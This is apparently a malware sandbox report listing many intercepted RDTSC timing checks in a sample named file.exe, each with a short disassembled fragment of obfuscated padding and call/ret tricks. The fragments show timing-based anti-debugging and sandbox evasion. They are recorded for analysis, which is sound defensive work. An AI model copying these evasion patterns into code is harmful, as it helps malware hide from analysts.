Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627AA6 second address: 627B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 adc di, 7A5Ch 0x0000000d pushad 0x0000000e or ax, 9359h 0x00000013 popad 0x00000014 push dword ptr fs:[00000000h] 0x0000001b push 00000000h 0x0000001d push edx 0x0000001e call 00007F7EC906D1D8h 0x00000023 pop edx 0x00000024 mov dword ptr [esp+04h], edx 0x00000028 add dword ptr [esp+04h], 00000015h 0x00000030 inc edx 0x00000031 push edx 0x00000032 ret 0x00000033 pop edx 0x00000034 ret 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c mov dword ptr [ebp+122D2DBDh], edx 0x00000042 mov dword ptr [ebp+1247721Bh], edi 0x00000048 mov eax, dword ptr [ebp+122D0E0Dh] 0x0000004e jp 00007F7EC906D1DBh 0x00000054 mov bl, 38h 0x00000056 push FFFFFFFFh 0x00000058 push 00000000h 0x0000005a push eax 0x0000005b call 00007F7EC906D1D8h 0x00000060 pop eax 0x00000061 mov dword ptr [esp+04h], eax 0x00000065 add dword ptr [esp+04h], 00000019h 0x0000006d inc eax 0x0000006e push eax 0x0000006f ret 0x00000070 pop eax 0x00000071 ret 0x00000072 mov dword ptr [ebp+122D2E4Eh], edi 0x00000078 jmp 00007F7EC906D1E3h 0x0000007d nop 0x0000007e pushad 0x0000007f pushad 0x00000080 push edx 0x00000081 pop edx 0x00000082 push eax 0x00000083 push edx 0x00000084 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B783 second address: 62B787 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 629AB8 second address: 629AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C7A8 second address: 62C7DA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7EC882AEE2h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62C7DA second address: 62C7E4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7EC906D1D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632095 second address: 6320AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007F7EC882AEE3h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62DA3E second address: 62DA42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6335F6 second address: 633611 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F7EC882AED6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jno 00007F7EC882AEDCh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633611 second address: 63361B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F7EC906D1D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63361B second address: 63361F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B945 second address: 62B9D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edx 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007F7EC906D1D8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 mov ebx, dword ptr [ebp+122D2B7Ch] 0x0000002b mov di, 1B4Fh 0x0000002f push dword ptr fs:[00000000h] 0x00000036 push 00000000h 0x00000038 push edx 0x00000039 call 00007F7EC906D1D8h 0x0000003e pop edx 0x0000003f mov dword ptr [esp+04h], edx 0x00000043 add dword ptr [esp+04h], 0000001Ah 0x0000004b inc edx 0x0000004c push edx 0x0000004d ret 0x0000004e pop edx 0x0000004f ret 0x00000050 mov dword ptr fs:[00000000h], esp 0x00000057 mov ebx, dword ptr [ebp+122D2AFCh] 0x0000005d mov dword ptr [ebp+1247721Bh], ebx 0x00000063 mov eax, dword ptr [ebp+122D0081h] 0x00000069 movsx ebx, ax 0x0000006c push FFFFFFFFh 0x0000006e adc bh, 00000034h 0x00000071 mov dword ptr [ebp+1245D93Ch], ecx 0x00000077 push eax 0x00000078 push eax 0x00000079 push edx 0x0000007a push eax 0x0000007b push edx 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B9D4 second address: 62B9D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B9D8 second address: 62B9E2 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7EC906D1D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632851 second address: 632856 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635630 second address: 635645 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F7EC906D1DCh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635645 second address: 6356EA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F7EC882AEDCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F7EC882AED8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 00000019h 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 pushad 0x00000026 xor di, 6136h 0x0000002b mov dword ptr [ebp+12483E9Bh], edx 0x00000031 popad 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007F7EC882AED8h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 0000001Ch 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e add dword ptr [ebp+122D1ADDh], ebx 0x00000054 push 00000000h 0x00000056 js 00007F7EC882AEECh 0x0000005c jmp 00007F7EC882AEE6h 0x00000061 xchg eax, esi 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007F7EC882AEE9h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6356EA second address: 6356F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F7EC906D1D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 635880 second address: 635886 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C11B second address: 63C121 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63C121 second address: 63C12D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jg 00007F7EC882AED6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CDEC4 second address: 5CDECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F516 second address: 63F51B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F51B second address: 63F524 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F649 second address: 63F673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F7EC882AEDCh 0x0000000a popad 0x0000000b push ebx 0x0000000c jmp 00007F7EC882AEE5h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F77E second address: 63F784 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63F784 second address: 63F789 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643BD1 second address: 643BD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643BD6 second address: 643BDC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B121 second address: 64B127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B127 second address: 64B12B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B12B second address: 64B14D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F7EC906D1E8h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64B14D second address: 64B161 instructions: 0x00000000 rdtsc 0x00000002 je 00007F7EC882AED6h 0x00000008 jmp 00007F7EC882AEDAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A3C1 second address: 64A3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F7EC906D1D6h 0x0000000a pop edi 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push edx 0x0000000f pop edx 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A55A second address: 64A55F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A55F second address: 64A574 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC906D1DBh 0x00000007 jl 00007F7EC906D1DCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A993 second address: 64A99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A99B second address: 64A9A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007F7EC906D1D6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64A9A8 second address: 64A9BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEDCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AE07 second address: 64AE0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AE0B second address: 64AE21 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F7EC882AED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7EC882AEDAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AE21 second address: 64AE27 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64AE27 second address: 64AE2C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65100D second address: 65102B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7EC906D1D6h 0x00000008 jnl 00007F7EC906D1D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jnp 00007F7EC906D1E2h 0x00000016 jnc 00007F7EC906D1D6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FB49 second address: 64FB4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FB4D second address: 64FB8F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F7EC906D1DAh 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 je 00007F7EC906D1EBh 0x00000018 jo 00007F7EC906D1D6h 0x0000001e jmp 00007F7EC906D1DFh 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F7EC906D1E2h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FB8F second address: 64FB94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FB94 second address: 64FBC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7EC906D1E2h 0x00000009 jmp 00007F7EC906D1E5h 0x0000000e popad 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FD1A second address: 64FD4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7EC882AEE1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F7EC882AEE6h 0x0000000f ja 00007F7EC882AED6h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 64FD4E second address: 64FD76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F7EC906D1DAh 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e je 00007F7EC906D1D6h 0x00000014 jno 00007F7EC906D1D6h 0x0000001a jne 00007F7EC906D1D6h 0x00000020 popad 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6501BC second address: 650203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7EC882AEE3h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7EC882AEE6h 0x00000011 jmp 00007F7EC882AEE7h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650203 second address: 650207 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650207 second address: 650213 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F7EC882AED6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65060A second address: 65060E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65060E second address: 650618 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650618 second address: 650622 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F7EC906D1D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650622 second address: 65063D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F7EC882AEDFh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65063D second address: 650641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650917 second address: 65091B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 65091B second address: 650960 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7EC906D1DFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F7EC906D1E9h 0x00000012 jmp 00007F7EC906D1E5h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650960 second address: 650966 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650966 second address: 650981 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7EC906D1E7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650981 second address: 6509BD instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007F7EC882AEE8h 0x00000014 jmp 00007F7EC882AEE2h 0x00000019 jmp 00007F7EC882AEE6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6509BD second address: 6509CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F7EC906D1D6h 0x0000000a jc 00007F7EC906D1D6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6509CD second address: 6509DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F7EC882AEDEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 650CEB second address: 650CF0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6588DC second address: 6588E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6588E2 second address: 6588E8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6588E8 second address: 6588EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F015 second address: 61F01A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F1AA second address: 61F1D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7EC882AEE4h 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e pushad 0x0000000f jmp 00007F7EC882AEDBh 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F1D7 second address: 61F1F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 jnl 00007F7EC906D1DCh 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 push ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F2B3 second address: 61F2B9 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F2B9 second address: 61F2C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F7EC906D1D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F2C3 second address: 61F2DA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F7EC882AEDCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F330 second address: 61F351 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp], esi 0x0000000a mov edi, dword ptr [ebp+122D2D2Ah] 0x00000010 nop 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7EC906D1DDh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F351 second address: 61F355 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F489 second address: 61F48D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F48D second address: 61F4CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b jns 00007F7EC882AF00h 0x00000011 mov eax, dword ptr [eax] 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F4CF second address: 61F4D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F74C second address: 61F750 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61F750 second address: 61F766 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jc 00007F7EC906D1DCh 0x00000010 jg 00007F7EC906D1D6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FB4D second address: 61FBCB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F7EC882AED6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F7EC882AEE6h 0x00000010 nop 0x00000011 jmp 00007F7EC882AEE9h 0x00000016 push 0000001Eh 0x00000018 pushad 0x00000019 call 00007F7EC882AEE8h 0x0000001e mov dword ptr [ebp+122D272Dh], esi 0x00000024 pop edi 0x00000025 jbe 00007F7EC882AEDCh 0x0000002b popad 0x0000002c nop 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F7EC882AEE1h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FBCB second address: 61FBF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7EC906D1DCh 0x00000008 ja 00007F7EC906D1D6h 0x0000000e popad 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F7EC906D1DBh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FE5B second address: 61FE61 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FE61 second address: 61FE6B instructions: 0x00000000 rdtsc 0x00000002 jg 00007F7EC906D1DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61FF11 second address: 61FF17 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
